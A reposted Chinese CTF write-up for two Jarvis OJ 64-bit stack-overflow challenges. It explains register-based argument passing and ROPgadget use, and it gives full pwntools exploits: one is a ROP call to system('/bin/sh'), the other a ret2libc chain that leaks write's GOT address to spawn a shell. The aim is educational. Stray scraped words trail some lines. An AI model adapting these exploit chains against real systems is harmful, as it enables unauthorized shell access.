[轉]Jarvis OJ- [XMAN]level2/3_x64-Writeup

 

學弟寫的挺好的,我就直接轉過來了
原文連接:http://www.cnblogs.com/ZHijack/p/7940686.html

 

兩道64位棧溢出,思路和以前的32位溢出基本一致,因此放在一塊兒javascript

在這兩道中體現的32位和64位的主要區別在於函數參數傳遞的方式html

在32位程序運行中,函數參數直接壓入棧中java

    調用函數時棧的結構爲:調用函數地址->函數的返回地址->參數n->參數n-1->···->參數1python

在64位程序運行中,參數傳遞須要寄存器函數

    64位參數傳遞約定:前六個參數按順序存儲在寄存器rdi, rsi, rdx, rcx, r8, r9中post

    參數超過六個時,從第七個開始壓入棧中
this

Level2_x64spa

   

  

 

   和32位level2程序邏輯基本一致.net

   只要在調用system函數傳遞參數「/bin/sh」時,將其傳入寄存器便可。debug

  Something new  

    能夠使用ROPgadget搜索咱們須要的rop鏈

     ROPgadget能夠在程序的彙編代碼中尋找字符串或命令

    

    箭頭所指pop rdi ; ret  即爲將棧頂元素彈出並存入寄存器rdi,ret返回棧。

   能夠利用此類語句將函數參數傳入寄存器。 

   exp: 

複製代碼
#!usr/bin/env python 
# -*- coding: utf-8 -*-
from pwn import  *

io = remote("pwn2.jarvisoj.com",9882)
elf = ELF("./level2_x64")

sys_addr = elf.symbols["system"]
bin_addr = 0x600A90    #利用ROPgadget得到
rdi_ret = 0x4006B3

payload = ''
payload += 'a' * 0x88
payload += p64(rdi_ret)
payload += p64(bin_addr)
payload += p64(sys_addr)

io.recvline()
io.sendline(payload)
io.interactive()
io.close()
複製代碼

   結果以下

   

 

Level3_x64

  和上一個相同,差異只在調用函數時參數的傳遞

  

  按照參數傳遞約定,write函數須要三個參數,須要rdi,rsi,rdx三個寄存器,可是沒有發現所須要的第三個寄存器rdx

  因此能夠先跳過第三個參數(讀入長度)

  寫好exp以後能夠調試下,查看在調用函數以前,rdx的值,若是rdx值>=8,那麼就不須要處理,

  exp

複製代碼
#!usr/bin/env python 
# -*- coding: utf-8 -*-


from pwn import *
context.log_level = 'debug'
io = remote("pwn2.jarvisoj.com",9883)
elf = ELF("./level3_x64")

write_plt = elf.plt["write"]
write_got = elf.got["write"]
func = elf.symbols["vulnerable_function"]

libc = ELF("./libc-2.19.so")
write_libc = libc.symbols["write"]
sys_libc = libc.symbols["system"]
bin_libc = libc.search("/bin/sh").next()

rdi_ret = 0x4006B3
rsi_ret = 0x4006B1
payload1 = 'a' * 0x88
payload1 += p64(rdi_ret) + p64(1)   # rdi
payload1 += p64(rsi_ret) + p64(write_got) + p64(0xdeadbeef)  #rsi 和 r15
payload1 += p64(write_plt) + p64(func)

io.recvline()
io.sendline(payload1)
write_addr = u64(io.recv(8))
sys_addr = write_addr - write_libc + sys_libc
bin_addr = write_addr - write_libc + bin_libc

payload2 = 'a' * 0x88
payload2 += p64(rdi_ret) + p64(bin_addr)
payload2 += p64(sys_addr) + p64(0xdeadbeef)

io.recvline()
io.sendline(payload2)
io.interactive()
io.close()
複製代碼

  結果:

  

 

關於程序中寄存器不夠的問題,留一個連接http://m.blog.csdn.net/zsj2102/article/details/78560300

講的還算清楚

相關文章
相關標籤/搜索